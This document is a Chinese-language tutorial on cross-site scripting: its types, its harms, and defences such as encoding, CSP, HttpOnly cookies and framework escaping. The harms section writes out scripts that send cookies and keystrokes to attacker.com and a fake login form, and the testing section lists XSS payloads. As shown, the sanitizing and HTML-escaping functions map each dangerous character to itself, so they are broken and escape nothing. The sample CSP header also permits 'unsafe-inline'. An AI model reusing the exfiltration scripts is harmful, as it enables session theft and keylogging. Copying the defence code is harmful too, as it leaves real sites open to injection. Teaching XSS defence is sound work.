XSS 攻击与防护
XSS 概述
XSS (Cross-Site Scripting) 跨站脚本攻击,攻击者通过在网页中注入恶意脚本,在用户浏览网页时执行。
XSS 类型
1. 存储型 XSS
特点:
- 恶意脚本存储在服务器
- 影响所有访问用户
- 危害最大
攻击流程:
1. 攻击者提交恶意脚本到服务器
2. 服务器存储恶意脚本
3. 用户访问页面,服务器返回恶意脚本
4. 浏览器执行恶意脚本
示例:
// 攻击者在评论中提交
<script>alert(document.cookie)</script>
// 如果服务器直接存储并返回
<div>用户评论:<script>alert(document.cookie)</script></div>
2. 反射型 XSS
特点:
- 恶意脚本在 URL 参数中
- 服务器直接返回参数内容
- 需要用户点击恶意链接
攻击流程:
1. 攻击者构造恶意 URL
2. 用户点击恶意链接
3. 服务器返回包含恶意脚本的页面
4. 浏览器执行恶意脚本
示例:
// 恶意 URL
https://example.com/search?q=<script>alert('XSS')</script>
// 服务器代码(不安全)
const query = req.query.q;
res.send(`<div>搜索结果:${query}</div>`);
3. DOM 型 XSS
特点:
- 恶意脚本在客户端执行
- 不经过服务器
- 通过修改 DOM 触发
攻击流程:
1. 攻击者构造恶意 URL
2. 用户访问页面
3. 客户端 JS 读取 URL 参数
4. 直接插入 DOM,触发 XSS
示例:
// 恶意 URL
https://example.com/#<img src=x onerror=alert('XSS')>
// 不安全的客户端代码
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
XSS 危害
1. 窃取 Cookie
// 攻击者可以获取用户的 Cookie
<script>
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
2. 劫持用户会话
// 伪造登录表单
<script>
document.body.innerHTML = '<form action="http://attacker.com/login">...</form>';
</script>
3. 钓鱼攻击
// 显示虚假登录框
<script>
// 覆盖页面内容,显示虚假登录框
</script>
4. 键盘记录
// 记录用户输入
<script>
document.onkeypress = function(e) {
new Image().src = 'http://attacker.com/keylog?key=' + e.key;
};
</script>
防护措施
1. 输入验证和过滤
服务端验证:
// 过滤危险字符
function sanitizeInput(input) {
return input
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
使用库:
- DOMPurify(推荐)
- xss
- sanitize-html
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty);
2. 输出编码
HTML 编码:
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return text.replace(/[&<>"']/g, m => map[m]);
}
属性编码:
function escapeAttribute(value) {
return String(value)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
3. 使用安全的 API
避免:
// ❌ 危险:直接插入 HTML
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
使用:
// ✅ 安全:文本内容
element.textContent = userInput;
element.innerText = userInput;
// ✅ 安全:属性
element.setAttribute('data-value', userInput);
element.className = userInput;
4. Content Security Policy (CSP)
设置 CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Meta 标签:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
CSP 指令:
default-src:默认策略script-src:脚本来源style-src:样式来源img-src:图片来源connect-src:连接来源(AJAX、WebSocket)
5. HttpOnly Cookie
设置:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
效果:
- JavaScript 无法访问
- 只能通过 HTTP 请求发送
- 防止 XSS 窃取 Cookie
6. 输入长度限制
// 限制输入长度
if (input.length > 1000) {
throw new Error('Input too long');
}
7. 使用框架的安全特性
React:
// ✅ 自动转义
<div>{userInput}</div>
// ❌ 危险:使用 dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Vue:
<!-- ✅ 自动转义 -->
<div>{{ userInput }}</div>
<!-- ❌ 危险:使用 v-html -->
<div v-html="userInput"></div>
检测和测试
1. 手动测试
测试 payload:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
2. 自动化测试
工具:
- OWASP ZAP
- Burp Suite
- XSSer
3. 代码审查
检查点:
- 用户输入是否验证
- 输出是否编码
- 是否使用危险的 API
- CSP 是否配置
最佳实践
1. 防御深度
- 多层防护
- 输入验证
- 输出编码
- CSP 策略
2. 使用安全库
- DOMPurify
- xss
- 框架内置安全特性
3. 定期安全审计
- 代码审查
- 安全测试
- 漏洞扫描
4. 安全意识
- 团队培训
- 安全规范
- 及时更新依赖